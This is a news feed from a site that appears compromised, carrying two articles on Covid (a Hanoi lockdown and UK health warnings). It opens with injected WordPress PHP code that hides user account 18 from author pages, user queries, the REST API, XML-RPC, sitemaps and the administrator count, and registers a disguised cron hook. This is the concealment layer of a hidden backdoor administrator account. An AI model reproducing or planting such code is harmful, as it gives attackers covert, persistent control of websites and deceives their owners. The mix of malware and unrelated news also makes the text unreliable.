add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Lockdown in Hanoi as cases of Covid 19 rises up appeared first on The Edge Media.
]]>The centre of the normally bustling capital was empty and shops were shuttered as the lockdown came into force, although people could still be seen on the streets in the outskirts of the city
“I think people in Hanoi as myself agree with the city’s sudden decision of locking down the city,” said local resident Nguyen Van Chien.
“We have to take economic risks to fight the pandemic,” he added.
After successfully containing limited coronavirus outbreaks last year, Vietnam has seen cases skyrocket since late April.
About a third of Vietnam’s 100 million people are already subject to lockdown orders.
But the outbreak has showed few signs of slowing and southern commercial hub Ho Chi Minh City — which has recorded the majority of recent cases — extended its stay at home order on Friday.
“I have been indoors for a month. The situation in our city is scary,” resident Le Bich Thanh told AFP.
The post Lockdown in Hanoi as cases of Covid 19 rises up appeared first on The Edge Media.
]]>The post “Things will get worse before they get better”, warns AMRC appeared first on The Edge Media.
]]>AMRC said the National Health Service (NHS) is currently under unprecedented pressure for a combination of reasons, not all of which are yet clear. “People who stayed away from the NHS during the pandemic are now coming forward, some of them with more serious problems because of the delay in seeking help,” they added.
On Friday, the UK reported more than 35,000 infections, the highest in over five months. On average, it has been recording about 410 cases per million people over the past week, one the highest cases in the world per capita. Meanwhile, Prime Minister Boris Johnson has branded the July 19 reopening as “Freedom Day” but experts are worried about the message.
Prof Helen Stokes-Lampard, chair of AMRC, told BBC Radio 4’s Today programme that “there seems to be a misapprehension that life will return to normal from then [July 19], and that we can throw away all the precautions, and frankly, that would be dangerous.
The post “Things will get worse before they get better”, warns AMRC appeared first on The Edge Media.
]]>